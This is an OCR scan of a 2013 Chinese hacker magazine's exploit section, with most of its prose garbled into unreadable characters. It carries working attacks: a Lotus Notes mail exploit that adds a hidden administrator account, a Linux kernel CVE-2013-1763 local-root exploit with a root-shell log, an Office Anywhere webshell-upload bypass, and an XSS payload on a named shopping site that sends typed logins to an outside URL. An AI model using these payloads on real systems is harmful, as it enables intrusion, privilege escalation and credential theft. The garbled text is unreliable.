(RBEPRZ) 6 BIXEHR

S 150 # 2013 4F

" T 2 5

Lotus Notes WRAHF A& 2o iR B (L _JL T ) orerrrerorrmenreneneeannn, o
Linux kernel A XA (RIS I iR 69 8] £ 94T (450K o 694 A7) -ooveeeeeeee 7
Bk OA MR N A AT UM B ODay WRiR3 AT (E3) - 10
MR R bR P B4 A A RS T XSS AN (unity) eeeeeeeeeeennee 15

AL RRAT

DNS [ 38 B_7% X, CMD Shell 8552 30, (DebugMe) - +-rmervnsesenenneenainn 17
ATiE NTFS M AT R BAB R LM (RRF) oo 23
Windows [&) % AUk & 64 T4 B4k £ SE I, (T HEAY) wrvververvemnennennnn, 26

Yahoo | B 48 B 3 A F T R AZ R  (BRFL) --vvveerrveeerne il 30

Android iC 42 K 2 K

Android it AZ W 4% A& ok i 2R 4345 (FRJB) -oovverrrmereeenneennn 30
2013 S5 6 HAZe B dE LGB FIAEAS oo vvvvvreermnmeermineeeiii e, 35
DOTD S AEAG JE 75 v eeerrernneeemnnten ettt e et e e 39

HACKER DEFENCE 1



3 EXPLOIT ATTACK & DEFENCE
“ wm oA M B ) EEEE ) BENT ) s

Lotus Notes BB 2R St iR A

X/ _kE
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Notes [ 224 p I RV AT, T B A & e T By, $ it TR 2ai: 5
ey AFHEER] B AT R
B LA 285G T Notes 24 MU SCRY, (HRER/MZIZ R, WA HMME. B4
FRE? i A CfR g TR I !

MR A SR 2

HL I AN R — il “ 2o B4 ” RS, e “Arfft kX7 IRss. Bk, & A
FH % P i GR AT A SMTP Bl SCHs B R A PR 1 BIA M BB A R 45 4%, AN HbJIR 55488 T & 4%
ORI AR H bk, 40 SR H ARtk AE s s, AR bR AR 55 28 alof B A R A R —AN IR £
MR 55 A B 4 R AR H RIS EEAR 254 o A SR 7 i AR G LIS Y 2%, WA 20048 POP i3
BA AT LA 3

SMTP J&—AMaj 585 ASCTT A5 Hip i3, 3% 1 i 1~ M A4 S VA% A 7 47 51 8 A (AT 2 1) ASCTT
i) SCARESF

MIME $2HE T —Fh ] LLAZE M A B n 22 BhoAS [R) G SO s, iR Ah T IR 145 B A% =X
IAE o 2B EAUAL S BEAEZi s, MIME CUA HITP BsUbraE i — N 45

NOTES YKl
1) WA BAR DA BRI

H, - B ] LB S PR3 R BEAR By MR I A e R SRR I AR %
Ui A, R BRI SO, NAZAE M B AR 0O PTG B nT AT ORI, A
PO FEAE A B, T AT IR e, SR e 4R SEBR b, Gmail. Sina mail
R o3 WS A A S AR T 3K 5 S BT B A 22 4 AR, A 4 B A 22 4 XU (1
SO

I Lotus Notes ¥NJil EXE P, ASUATTATHENE, BHHNMMEIAT; Wk Alcs] EXE

2 FRERRRIESATRanpR s se.
(0. FENEnEN ] s | [ ®m ]

K1

2) DhiG R
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Notes SMTP MBI 55 255 A7 56 35 A MR I WTRION), A7 BRI Internet BN M Vs ], X
FERRAS vt G (1) 7 A DR 1 IR A

S P ST SMTP S R A TR R FH 5 SE B AN A2 IR HE ¥ 215 32 B f . net (1) SMTP
25, VBS 1) CDO 41#FH1 Socket N —=Fh /7%, o Socket Ji B IF# RS, e AI&
FHH, SN TSRS Nk, BT Notes 9S8 LA, I3 IR 5t B 320 i 2 G A
LR, BRIV FLE Telnet SEHRSS 4 25 S, 4 SMTP Je 2 3l T Rk O ik
Mo N THIFRAN I S — B VBS JEARI SE X AN A, PR R

et sh=WScript.CreateObject ("WScript. Shell”)
WScript. Sleep 1000

sh.Run “telnet. exe XX.XX.XX.XX 25”

" XX. XX, XX, XX A B O (F smtp iR 554 TP
WScript. Sleep 1000

"] telnet RIEFRAT I FA R 2

sh. SendKeys “helo xx. com. cn{ENTER}”

WScript. Sleep 1000

sh. SendKeys “MAIL FROM:<#¥{hid A\ @xx. com. cn> {ENTER}”
WScript. Sleep 1000

sh. SendKeys “RCPT TO: <#2Wi A@xx. com. cn> {ENTER}”
WScript. Sleep 1000

sh. SendKeys ”DATA{ENTER}”

WScript. Sleep 1000
sh. SendKeys “From: <##{hi \@xx. com. cn>{ENTER}”
WScript. Sleep 1000

sh. SendKeys “Subject:hello{ENTER}”

WScript. Sleep 1000

sh. SendKeys “To: <3 A @xx. com.'cn> {ENTER}”
WScript. Sleep 1000

sh. SendKeys “X-Priority: 1{ENTER}”

WScript. Sleep 1000

sh. SendKeys “X-mailer: aaMail 1.6{ENTER}”
WScript. Sleep 1000

sh. SendKeys “Mime=Version: 1.0 {ENTER}”

WScript. Sleep 1000

sh. SendKeys- “Content-Type: text/plain;charset=""GB2312”” {ENTER}”
WScript. Sleep 1000

sh. SendKeys “Content-Transfer—-Encoding: quoted printable {ENTER}
WScript. Sleep 1000

sh. SendKeys “how are you{ENTER}”

WScript. Sleep 1000

sh. SendKeys ”. {ENTER}”

WScript. Sleep 1000

sh. SendKeys “QUIT {ENTER}”

WScript. Sleep 1000

”
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TRAF N VBS SCAFJRiaAT, & NHRSONRIMIAT, SRR Dot A A NP T, S A
SERT P 28R, WRERE B SO, 5 ZEESE MIME (¥ J5 BT,  dS Sk i —
NFRFHA VI, WA D FRANHARESCERI IS 535k, FTLLA O IES, siaT L
AR Z s T, i i ARl AR A ] 1 34T

RGN, AR — AR S5 AT Re AR 2 4 U Mo i B A5 B A ik
IRHSPEEE RN Y, Frp i A AR SRR BB A5 O N — BATIT I F i, 2ot se 42
P i HBC 3 T AAE AR L AR AR Tt RUEAN AT IR, 1k Bt AT B 5
A ARERAR B B A K  IXRT ABORE — AR E PTRER R I e i R A2 T !

3) Notes FEuLfHIAs ODay

R 22 A2 7 S AN BEAE PR BEAN 2 4 1tk 2 [R]SP-7, SCHF s SOA, il i yEHTMLYS R v g
WA AR P2 AT AR R I 22 4 v, (H W R Seript e & A s, S BT ZEHTMLIR A rh
BN AR e B il IR AS 1R R A

R PENotesTRALITTERL, Notes ASCREIAIE 5, WA FAL4a T AR 4 A4 . Fell
RTINS, S0 RIXANRT, AT ) .

B SR s 2 3l P, R INotestE NSRBI A 1L T SEBAT 1), A Notes
ARG oA 1E SR HTMUIR A o W SR AE IR b e A A, Notesx) A AR AT i 98 5K
I A, tean@ithtmlencode & 4, (AT HAT, Xt ENotes AN A (1) Fk
o RIE IS SMTP R 55 #4552 FL e AR5 7 i B A X We bma 1 LIRTHIS A, v fB0aghe B T

BAVRE B IL SRR - by A sk Webmai 1 01 S A4 iy A B R HIMUACRS (gl £, 2 B
At FAT T O AR R 3, fat — S EHIMLARRS B, T

{scriptdalert” 1”7 <{/script>

H TR RS P A IEHTMLAREY,  FERHAID I TBase64 %, E XML N 5 N2 A
“PHN jem1wdD5hbGVydKGxMaGxPC9zY3 JpcHQ+” o 4 ] _F 11 FORE 3 T DL H b i I A3, #4)
T A S AR OGN 2500 F

Content—type:text/html;content—transfer—encoding:base64

PR AP M A o TBIE PR R % S Notes, FTHFIXEMEAE, FHAE UL DL, WiE2

Ji7R o
- | ~|BRE SN IS R v | R
H 2D1Z-08-0T 16:47 2,680 COMEDERTF » (ML EIME I 2> hells
3SC e0N2-08-0T 18:38 B - PEEHRT s (FEFEY ——-For Chinese Staff!
88362 2012-08-07 18:15 EiEREN R RELATCTA)
4 ' 2012-08-07 14:05 iﬁ;iﬁfﬁimfﬁﬁ.\ TR TeREFTE AN Minilzoomia

=) 28 A BTI) iR, Bar
. Wotificati on S0 FATREM EF) » HFEEFTLR. You have 6
e

K2
At aNotes BT REAE A (K B F AL AL B Sl BUASTRATIE 2 D R s RE B AR EAT T
Base64 M1, iMNotes K FEfE 1 Py 75 MBase64 e Hhy ml 352 A AN, SRl T i3 o 7 v )
EIABATL RN R, SECT R RBATE B AT KNotesX AR IN4H, X
I %A A 0Day I e .

AEEREISE  2012-08-07 12:24

Share 2002-06-07 12:07
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iy fEE 0LE HE

CHEY 55|
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=gy b
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AFERE @) .
E&G) |
2 0 >

TG
BEh @)
E#EE G, ..
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HE D). ..

Tawa 2R (T0. ..

TEHE TR B i AE P e e “ QI misaE 7, WL BRSNS, W
ScriptControl Object, U 4 s (fEAEM MEHIEAHIRZ R,

i RERISRIF]

erie )
B —
WE
C nigo) 1 —

r%ﬁ ScriptContral Dbject $E{4E A 371

PG IERIB)

\ R efE dit. Chrl

4 ScripiContral Dbject
i il 0

- SoftDaMew Contral
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ISR, | 55T
EEEL |
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HHE, il 5 P
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IER - =y
il SE el = la ||
235 SeriptContrel Object
L. BEOEbEENS
RS T AR B )

priAli

v S

FTA

Kl 5

B A AR SRR, R iR R, AEBE FTOT R HE (1 Tnitialize”

B sgman mARY, Wi 6 A 7 s

HEEE0)...

B B
#0(C)
ENSEERIE0

e —
EHEED)
FEEEE

FECIHSTISRA)...

TEMEEHED)...

FEEEHIEEE)

Kl 6

ScriptControl Object OFEH]) : Initialize

BT [F A,

_] 1Lntu55cript

=

Sub Initialize
Dim =zession Az New notessession

End Sub

&7
WA NAEBESCRI I, ActiveX BT

AT, LCUTTT 3389 BT, B FEOFERA S, T,

Taski d%=5hell (“emd. exe fc net nszer aass Aal?3456 fadd”, 0]
Tasked®=Shall (“emd. exe feo net localgroup administrators aaa fadd”, 0]

RIS, A5 0 Ao R

PRI A “ Pl

W—RGM) 7, MUERZ T )7 aaa, J&T adninistrators 41, 4l 8 A& 9 Pros.
ek

B3
L -‘rl a84a

Ad.ministr. ..
mcf
‘%Guest

%Helpﬂssis. ..
5 SUPPORT 3. ..

%User

Imiz S AL

CH=Microzoft Corpora. ..

Kl 8

it

EBTE EIRAERR

R ENEEEE T E RN
RHETE MR~
ERA— - R SRR
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2 | 2ET mEirn

FRT W
gkdministrators

gUsers

Kl 9
X Notes AR 2 Axailf, AT ESTIT 0BG, iR A Tk LE s
A A, EETHEEH] Ardd 2t BadiAite N2 Notes. 1D,

Bes

ALl 24 FINo te s X LN o] 3 U K, Notes I P B TR BS A L 2 S HLPUAR, A
A, ARUESRAE . FROERFX LR ] @ A8 2m MR [ Notes B B i, 1Y
NotesAFIELR, 0 C&FREILE.

Linux kernel Z< 3% FR$& I 1) 18] B2 20t

SC/VE B BRI

Linux kernel CVE-2013-1763 A< Hu A FE £ 711 H1 Mathias Krause 1~ 2013 4F (1) 2 H 24 21,
Tl 5 () P AZ WA BRI 3.3.%-3.7.9. 5 MLIY) Linux &ATHR, W1 Fedora. Ubuntu. Arch  x86
1 x64 3452 5% M0 o ARPEIRI N4, 1% EXP BRI HAERFBUH 7 il k2% Netlink 14 &,
F sock_diag_handlers[|ZZl S5 0], RFLLARZ B R SCHAT A

W14 Shellcode 5 H 7 ARIER-RAME, WZAR Shellcode A EIAEFHTLS, KN
Shellcode & TAEENZA Ringd E1W, ZREIRZH TARBAEH 4, SEEICH TAER A
WAZAS, DL AT 22485 DR AR IR 35t o 5 I RS I AR HB B A Shellcode pR%A% 3 4 EXP
iS4 N kernel_code, —MXMITLFE R : PRAF UHT 25 £7-45 {H —get_root— Pk & H AR [k (1)
i, iret IBH A . get_root 5 WIRAMGEA WIFl, VARG FHIM 5225 T8 task _struct,
H M I thread_info B4t task [ 755, XFP AT RAF R IANLF T, [FRA A$EH
T HEH commit_creds Fll prepare_kernel_cred SSZHLIK) T

commit_creds F/l prepare_kernel_cred 35k A% ek 45, H D) REFRATI A 401E 0] LLIREX root
M OK T o fEH M EHEIXEL Shellcode I, FATTEARANFIE XA BRI EU 1 ] ExHbdiE, DALt
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T/ find_symbol FRECKLHEL/proc/kallsyms. Tl 1ol X A sk A vy ik, anl&l 1 i
7N

unsigned Long addr
char dummy, sym[512];
int ret = @3
() {
a;s

}

(ret I= EOF) {

ret = f: - vy ow W
(ret

o ¥p\n", name, (void *) addr);

K1

AT W% Shellcode IXAE M ICRIARAET, e FRM) AR S HIIR S T o Hid 4 I
PR, JIE T 3K K U TR DR 78 6 A A% R BB B, B LA 2 EXP R Y AZAR RS — 2k
F ARG NTF o WA I A IF 46 &b P8 F 1 “ socket(AF_NETLINK, SOCK_RAW,
NETLINK_SOCK_DIAG)”, %&illjn] {5 r] §& Hi7F Netlink 4b. Netlink Socket ¥ M F1 2 K 3% &
FINIZ)Z . #¥F man page(man 7 netlink), #fi5€ Netlink Xt R ZE 20 AF_NETLINK,
B ABHLIIIE SOCK_RAW B, SOCK_DGRAM, 5 =ANSHdR5C Netlink BHRAY, ArLLjE
—AN B XA, tn] DA A e SCIR2E A S4BT TR 46 S5 TCP/UDP Socket —#¥,
Netlink Socket pRZIR [0l ({14547 AT LIAS 45 bind 25 R . Netlink [ bind ()& EdE— A
i Socket Mtk (Y5 Socket Huhk )5 —/NTFFIK) Socket HEAT SCHE, HAEA T H TCP/UDP [1] Struct
sockaddr, i/ H] Struct sockaddr_nl. ZEIX/N EXP-H1, FRATTAOM 5225 P AZ &% 30 B It o
BAVRIE A 1P B, WIBIEALHIN “IPA0k+1P 04 7, FIFEN, Netlink 1197 & 45 #4
& “netlink B SKEB+EE 7. Netlink 8 B L EH struct nimsghdr 254 K Hfiidk :

///// from man page

struct nimsghdr {

__u32 nlmsg_len; /* Length of message including header. */
__ul6 nlmsg_type; /* Type of message content. */

__ul6 nlmsg_flags; /* Additional flags. */

__u32 nlmsg_seq; /* Sequence number. */

__u32 nlmsg_pid; /* PID of the sending process. */

b

KN EXP, A LLE B'E X FEE A nimsghdr (19, WK 2 fizs.

HACKER DEFENCE 8



3 EXPLOIT ATTACK & DEFENCE
“‘ im A MR Y BENT 4

struct {
struct nlmsghdr nlhj;
struct unix_diag req r;
} reqs
{(fd = socket{AF _METLINK, SOCK RAW, NETLINK SOCK DIAG)}) < @){
an
memset (&req, @, _1*"f(req)),
req. nlh nlmsg len eof (req);
req.nlh.nlmsg_type = SOCK_DIAG BY FAMILY;
req.nlh.nlmsg flags = MLM_F_ROOT|NLM F MATCH|NLM F_REQUEST;
req.nlh.nlmsg_seq =

req.r.udiag states = -1;
req.r.udiag_show = UDIAG SHOW NAME | UDIAG SHOW PEER | UDIAG_SHOW ROLEN;

K 2
EXP VIR H 1 JRWIUG1L sock_diag_req.sdiag_family, FF75 HIWT 2 G0 A (IS A 48 |,
H AT T RE XS B TR R 5 £ 5k 2D 55 sock_diag req.sdiag_family A%, W1 3 Frs.

ernel_cred”);

120
121
122

EXP 4% N 2RI TAEE MG —A “nop slide+ jump” 1 Netlink 74 &, 2R)i5 send i %
A E & Uik, Netlink 4 B 45 M & “netlink 7 B Lk#+8HE7, €N Z TS H
__sock_diag_rcv_msg kAL B, g o) B E G B XA A R . BB & TE Jusr/src/
net/core/sock_diag.c ', TAIFIHKER, Wk 4 s,

k_diag_handler * iag_handlers[AF_MAX];
k_diag_rcv_ms sk_buff *skb, struct nlmsghdr *nlh)

ock diag req *req = \TA(nlh};
ock_diag_handler *hn

(nlmsg_len{nlh) < sizeof(*req))
-EINVAL;

hndl = sock diag lock handler(req-»>sdiag family);
(hndL JULL)
err = —-ENOENT;

err = hnd mp(skb, nlh};
sock_diag_unl dler(hndl);

err;

Kl 4
PR $L__sock_diag_rcv_msg()2x M NetLink (138 =K1 & 3K sdiag_family 1. 1REHLE, lj\]
AR SRS AT hndl 7524 NULL, MK reg->sdiag_family J£ 75 L AF_MAX /). g
hndl #& sock_diag_handler 541", 7& 13 17 ] LLF& ] sock_diag_handlers (214 AF_MAX.
e, BRATAT LR P & Rk 3% — AN AF_MAX K[ netlink SOCK_DIAG_BY_FAMILY i3k
AF_MAX HJRSEEZ DWE? Grep T~ WAZAURS, il LUKIE AF_MAX 32 34 40, i 5 .
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P %E AN AF_MAX K1) Netlink 1K, WAZR%L__sock_diag_rcv_msg() I8 ARk
& hndl->dump(). BT hndl RS P ATEER),  BATTAT ELAREAS R B8 21 9 A% AT
7, 48R, BLIR R SHIE NI, BTk, FR 1) U2 Wil Lk FEEHFE ) AT nop
slide. ELHIHIY) Shellcode JRUE /77— A2 mmap F| NULL Huitilk, fik& WAZIRTR G i 228
null pointer deference, H 15t AEBES] shellcode FHAT. {H B MAAZEHE] T mmap_min_addr,
i mmap ANBETFBLT 2 0 /™ page (x86 #&: 4096), HARMIARETHIXIH T, XHEH TAD
WHZ bug ok, W74 kernel dos AN 4& kernel local root. {HIXANRVAIN EXP 1A &
mmap F| T WAFI] 0x10000-0x120000, A3 mmap_min_addr PR, F£E LS I N A7 25 () 4
& “nop slide + jump”. MRAEIIIRX,  mmap IKHLIEA 0x5000-0x170000 #f 24 ANGi 1%
. KA hndl->dump(), FATTATLLAZE N AF sock_diag_handlers[AF_MAX] LA i1 P A7 sk
$&—NV&AE 0x10000-0x120000 Ab IR,  BALEFATIVE A B& 28k 21 nop slide 7.

[g0t3n@localhost tmp]S ./poc Fedora

[+] resolved symbol commit_creds to Oxc0462b00

[+] resolved symbol prepare_kernel_cred to 0xc0462d40
[+] resolved symbol sock_diag_handlers to Oxc0d9c180
[+] resolved symbol nl_table to Oxc0d9c2e4

family=89

mmapping at 0x5000, size = 0x120000

uid=0, euid=0

sh-4.2# ~C

G341, HT sock_diag_lock_handler ff) mutex lock N iZ 23R &4 B4, EXP BRI
R, AR R b BRI /K BEFHIK root Jii Dl IR BERK

HUE T R, 2 S e R T, AR sock_diag_rcv_msg HT S Ik
req->sdiag_family [ K/NEAT A AT LA T o

X OA VAl 73 A RRAER XA A% 0Day FiFH|HT

X/ LIRS B PER L T
Office Anywhere JHiA OA th[AIJpA RES VZ N H T BUMN . &l BEI7. AN #E M
R ATk . AT BRI A% R S KA T Office Anywhere 2013 ilt, SCHERAS 6. 5. 13. 122,
ZMARK I, BERRAAFAEAT RSO LA, 55 2008 2 2013 SolihiAS . e ik, %
i) Web JIRZ5 45K H Apache+Nginx X514, ds PR H Oracle $EAE1) Mysql ik £ ds
JF o 4TALLL EXE Uk A, R FHAER T s, L3eoe i, nrimad ik v iR &5 2 il
7 f Web 45 B PEARSS ST IR F - A5 1S58, Ol e 48 C A FIf Myoa H
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%FI_IO

HEAN Web Fsx, 2% PHP JIAAASIN, KILFTAARGEIRIT Zend N, o
AReE. X EHERE M “2)) Dezender 47, IR H S, MHATHLEME, WK1
PR

£ Dezender 4

TR RS DR AR Ep

FREIMHRIR ETEH RS

CO O & vwyebrootiindex php - L
COM O vy ebrootogincheck php |:|

CO O vvebar oothapiuic phi EER iﬁ % ﬂg

COM O&wyebroot'generalcreate_key php
CY O& vweebroot'generalexit php
COhO&vwyebroot'generahget_userinfo php
COh O & vy ebroot'generalindex php

CY O& vweebroot'generalinatify php

HREMEFEDEE OFEESHELH) ¢ | BT REIENHHEDEE

|c:wvomwehmnﬂ | | |

[omze | [meme) [0 |
BEILR Languages: [y [ElePw| [Enosn | [EE0l| ET® [BdEs

OFTERREC MY OAwvebroctigeneralindexizearchiarticle_bottom php

Internet Explorer TERREE RIS R

- (|| # ¥

K1 R T] Dezender 4 fit=fifts

b N B
FEAE IR B SO /general /vmeet/privateUpload. php, H3CH: R 2 FALRSCH:, 1%
120 B XS4, AW, RAFSCIFUEA td move uploaded file pPR%f.

if ( is uploaded file( $uploadFile ) )
{

” //)

strrpos (“$uploadFileName,

$pos

$len = strlen( $uploadFileName ) :

$extendType = substr( $uploadFileName, $pos, $len );//FEEN_FALE Y 4

if ( strtolower( $extendType ) == ”.php” )//Z& 1 KRHWr, KI RBEBFH
strtolower ¥# A/ NE )G, AW . php K8, NISCH E~ERK

{

echo “upload file fobidden”;//# FALRSCAF R php 2888, W4 HHIERE R,
W AT
exit();
}
$localFileName = $ GET[ fileName ];
$ZLCHAT ATTACH = “upload/”;
$localFile = 7{$ZLCHAT ATTACH}/temp/”. $localFileName:
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if ( !td move uploaded file( $uploadFile, $localFile ) )//ihib M{fAE St
{

echo “upload failed”;

A td_move_uploaded file BR¥, BB B is_uploadable Xf H & LI SCAF44 BEAT
HIWT, ST R AL A

function td move uploaded file( $filename, $destination )
{
if ( !is uploadable( $destination ) )//ifM] is uploadable
{
message (_( "AEi1E7 ), _( "AMILGIEMSERCM ) )
button back( );
//1is_uploadable PREUN RATIISCAF A HEAT T 2 AT ARRD AT LT, CRALIEIEE
AL $FILE. NAME A5 EAT 0T, 5 H1BL “*. php. *” B{ “*. php3. *” W& [A] FALSE, FH)
W A& 15 O € XIARE R 244
function is uploadable( $FILE NAME )
{
if ( preg match( ”/\\. (php|php3)\\./i”, $FILE NAME ) )//%% 2 YRHIMF, SO
HE I “. php. 7 BY “. php3. 7 W& [E] FALSE, %Ik k4%
{
return FALSE;
}
global $UPLOAD FORBIDDEN TYPE;
global $UPLOAD LIMIT;
global $UPLOAD LIMIT TYPE;
$POS = strrpos( $FILE-NAME, 7.7 );://&4kSFILE NAME A% 4% f5— X HILHIAT

if ( $POS === FALSE )
{
$EXT NAME = $FILE NAME;//# 3CHE2arhe “. 7, WISCHJE4E4 0 X4
}
else
{
$EXT NAME = strtolower ( substr( $FILE NAME, $POS + 1 ) );
/3R R 28 44
}
if ( find id( $UPLOAD FORBIDDEN TYPE, $EXT NAME ) )//% 3 WRHIWE, SCHF)E
BEZRGEAIAEXNIEEXH)E %K, & K 2 & $UPLOAD_FORBIDDEN_TYPE =
”php, php3, php4, php5, phpt, jsp, asp, aspx, ”;
{
return FALSE;
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}
if ( $UPLOAD LIMIT == 0 )//4F /inc/td config.php X, & /A& &
$UPLOAD LIMIT = 1;
{
return TRUE;
}
if ( $UPLOAD LIMIT == 1)
{
return !find id( $UPLOAD LIMIT TYPE, $EXT NAME );//%5 4 YRHIMT, ik
KW 5 3 YeKl, $UPLOAD LIMIT TYPE = “php, php3, php4, php5, ”;
}
if ( $UPLOAD LIMIT == 2 )
{
return find id( $UPLOAD LIMIT TYPE, $EXT NAME ) ;
}
return FALSE;

PESCAF PARKC B FE T, BAREEAT T DUV g, AH TR e 44 i X,
R T ARG AEAE, NI BUT RSO AT .

% A AR SCAEI, ¥ webshell fRAEA jpg k62X, 7E28 1 AW, “. jpg 7 NG
T “.php”, IR, gkEAITRE. Fid £ileName A5 4 “f jhh. php 7 (php JETH A 244D,
RS 2 AT, ARAFISCIE4S “f jhho php 7 ZE RN ULEC R, iingeid Jllkr, 2EAGH
=, VYK, “php 7 (php JGHIAZHKE) IR AES A E$UPLOAD _FORBIDDEN TYPE,
$UPLOAD LIMIT TYPE , iR[FIEL, HEASCHLRAEIRAT o AELRAFSCAFIS, Windows R4 H )
WSS AR R, SCHHRAE RS B TS URL gifis g “+7, RIAiE £ileName
A “fjhh. phpt+”,

TR A~

LR A EXP A Scan FACRE 3k B action $EACHME, fRAF N html SO, %
Webshell 3CAF (STHFORAE N jpg R, AL Ja RIAT i)
http://vul. com/general /vmeet/upload/temp/f jhh. php 3545 Webshell,

<{form enctype="multipart/form-data”
action="http://vul. com/general/vmeet/privateUpload. php?fileName=f jhh. php+”
method="post”>

dinput type="file” name="Filedata” size="50"><br>

{input type="submit” value="Upload”>

</Torm>

RIS R G54 %R “70ffice Anywhere 2013 WIZSEEEIIARGA””, W 2 iR,
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H e EXPLOIT ATTACK & DEFENCE
“q im A II Bﬁ P SR ) BERME

mE
Gou Jgh’: “Office Anywhere 2013 & B h & S8

2 [] EE ] Lol W - mEIA

B Ofce Amwhere( 13— F IR IR & B E AT - MR R

hedequan oo de » AT - & LS HEEE » BRI

FEEE o4 RE RFEE 65130122 XIBM: 20130122 FEGh ..

bbs.créso org » EE T MSE

104045 - 10 --fE@ - 2012124198

Oice Anpwhere 201] FEFEG L REEEEN: 611218 B0 LETEHRERE
- “‘!’ﬂ?".#‘i“h EHREANTES 3ENET -

S A T s

FEEOASO1IMFIREVE 3 121218
bibys. suvwy org » .+ CRMHR -?—\1‘}:'{1 it
10 HF - 10 el - 2012812| 198

Dfice Anywhedne 2017 'n‘.ml. P RIBEESH: 63 121121858 FEEEHERE
E.aBRiNEEENES EWERNTES. FENET

Ofiea Anwwhete 2012 [ETEEE - E05

o F R robots va . RigE{EETEERNER - THREW-

Bl 2 R LR 5 [ B R OB

MZEIEHNE - ... BTEREE -9 % AWEE 0Rak Ofice Anywhers 2013

i OAS0 T IMEIRFVE 3 121218 - it - = - Pow.

B form KA action Hubk, MEFELRAFA jpg MM Webshell SCfF,  EALRRLI) )G

w3 Fros.

[ @ httpy e+ Wl generalfumeet/privateUpload.php?fileNamé fhh.pH+ - Windows ... kB [Ie |

@U - |i ————— general * I “l| A | |pl§h':#

P':

XD WHE =EW e TRO weEH

M= ahttpgfﬂ ... a‘ E S o v TP S2E0) v

5

@ Internet | E3Rise: B

-fﬂ - '!_1 1008 -

K3 EALETs, oA
AR RIS 1ER:, a5 R 4 Fror.
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WOR A b periieek e

IR mEAETeTaaaT2 T E

forl 1 L hpe O generalty. »
o D hETOA ek aet - &h - 032 =R4=
e P OT), TE ) % Ha el oy = LR
-4 B MALERT 0 P g
P 1 stackenent mznaEza 0 T . “""'
= i) 2 geness MIIEN 0 ) v
213 o B image MZALIEIM 0 o7
= O [ & MIAIERLE 0 arr
SIE bawl o mhelace M2AIEHE 0 w77
Sl 1 et MAMEHE 0 o
B uplaad
B e £ mokids MAALIEMDE 0 7Ty
3w ) mode AnzA416241 L] omr
2 srechaent =1 ] MNAEME 0 [ererd
£ innpre 3wk MZNIEHIS D T
& ine 3 teplaies MMZALIEMIS 0 o777
€3 dintarEaes & thems MBNALIENMIE 0 oz
L dapiran (=1 MMENA4ENT a [errrd
L mobile £ wpdete MENAENT D 77
£ modals 1 v MHIERN D i)
B pda 3 webnervice AMIAIEMT 0 T
2tk |} imaconien MMIIIIEEEE e ==
) templates = deu phe NPV TEASEE B4 (EEE
2 theas = logncheck php MBI0IESER 2629 (55
Ow scbols b MG % (556
I updueia
L WAV A - -t = L |
B wdhiarvive i1 WS | TR

BBz
Kl 4 RIS TSR

IEIHEAN T R
1) X}3Cf}/general /vmeet/privateUpload. php BEATALBRKGIE , - 25 1L AR FZALS 1) 5

2) &% is_uploadable BRELAUMS, ALBE LALSCHFIS, XORAFHISCHRACR I B 44 07

AT I IE

MIRIEMIK P SRR SRR RRE T XSS FH

/& unity

TR Web FHIARIIRIURIER, 40 FTIPER ORI T > XSS, A%

T =T7EFN I, w1 fros.

https://passport. leferighgon/dos i jsp 7returnback=ht t ph3AK 2FK IFy

SN .

lefeng. con¥2F " >hehehehe<ak20href="%23 9

RSN ESER

@& hEhEhehs & FBRE g FLE

a B8px x 220x [ wifE

8 nehehehe A BERQQ

138 hehehehe 138 139805 8 hehehehe 8 FS
#MN hehehehe INN AR

con/union_login/sina_login. jspPreturnback=h-

wces  Network  Sources  Timeline  Profiles  Audts  Console

s="wrap"> «| » Computed Style

ss="headlogo” = </div> v Styles
ss="blank10"></div>
ss="loginlafasa">
Lass="loginl eft "= </div>

element.style {

Lass="loginright"> }

class="loginl fw"> Hiaiched S5 Rules

v class="Lfw"> .partners i enail
form 1d="loginform” method="pest” name="loginform” ansubmit="return checklogin()" action="/Login.jsp"=.</forn= aihover

div class="partners's text-decoration: no
<p> R . </p> border-color: »[C#d.
Tl 3

¥<li class="sina"=

http://passport.lefeng. con/union login/sina login.jsp?returnback=http:/ www.lefeng con/">hehehehes</a> -partners .sina enail

a
background-position

<a href="#">}iii#li4</a>
</li=
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“‘ ’ ﬂﬂ m Eﬁg;?IT;;r;E;K & DEFENEE."

R R s AT I IE, AR ARNE? —fokid, XSS #RZEX S g/,
tnE 8 F . A, ARESCREIMEE S BATHHIOE T2 A4, JhsE el LU,

AT R, RIS, A5 2 LUESCE R onsubmit SHAF,
U SRR T 2 A i e e st & BIBATTAI IR 55 45% SR FRE R M o BATTR] LR L
e UMM Iy sURE, BB AR S5 A Jn ek, I IRATRIT S — P i,

var f = document.forms[0];

f.onsubmit = function() {
var user = document.getElementByld('loginName').value;
var cred = document.getElementByld('passwd').value;

var line = user +
//%eﬁc'ﬂ‘&)j{%@
new Image().src = "http://localhost/cookie.php?a=" + escape(line);
[T AT (R sk A

return checklogin();

+ cred;

}

h TR BB AL, A AW N URL, d A3 returnback Z484mid— 1 1
ﬁ%:

https://passport.lefeng.com/login.jsp?returnback=http://www.lefeng.com/"style="display:n
one"></a><script>1X HLIH AN TRA T/ A</script><a href="#

o 7, FTTNEE, HE XSS — FHC, Bk, B b Ngin (9 HE, WK 3 B
e AEXANER, EARWRELH?

plackKiux .3 Suite: inux detected

K3
ghi Stk T3, ik csRF B ik, Ehanseamiblig sk, FEE S Xss i,
AR KL E R K 205, B R 3T .
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PROGRAMMING ANALYSE
“‘ ﬁ E m ﬁ ) 2 E%EE socket )

DNSE%E & #3.CM D Shell {1 5L3

/K DebugMe

RZHAEDLT , HER RSB Ko BT U7 1) S0 9 IR, U T — 285 FH 0 M9 2% P isL,
Bt DNS, P ATAT AR X — &, % B CBdE AR DNS P, X FEp; kit 2 o
VFIX LSRG 0] P2 o AR SCREKs A F IX Fh B AR S — > [ 3 CMD Shell

H TSI —AN I CMD shell, ATEFEAPR A, —&H OSSRk
PUATIERE R IR R a4, A Windows R4 h LY CMD FE7. s Fiid, TAF
HECK, RO, S TAERAET DN, IFHARS M, AHEM S CMD M2 1]
(REAR ] RI AT, AR5 2 A, AR SO AT X Rl o7 . Windows ~F- 65 Hh kR ] 8 45
T2 Hr, oMol EEEOR, R i AT R R A, el s el
e AH ISR o

& Windows " A EE: BEAEENGSEE. EAEEE TR EE, —BHT
RBEFERN T HERE 2 A4S, AT UL Win32 API CreatePipe KA 44518, & 23R 0
MW, —MHTEL TS ATTLLEL ReadFile APL M AR H I ,
WriteFile API ) ‘5 ARt 5 NEds . O T AT S 44 8 AR A b R 2 Al ad A . SCHERR 7
EE RIS TR, X0 LA kA& 6 77 ORI . fin 44 BB A SCAW J, A4,
TR BRI ST

WSRO TS (R AT, T CMD R 1) (R A 2 X 1, R A )
AW 44418 . CmdWritePipe fil ShellReadPipe f&—#f, CmdReadPipe #l ShellWritePipe
X

static HANDLE CmdWritePipe = NULL: //CMD [ ifii 5 A\ #

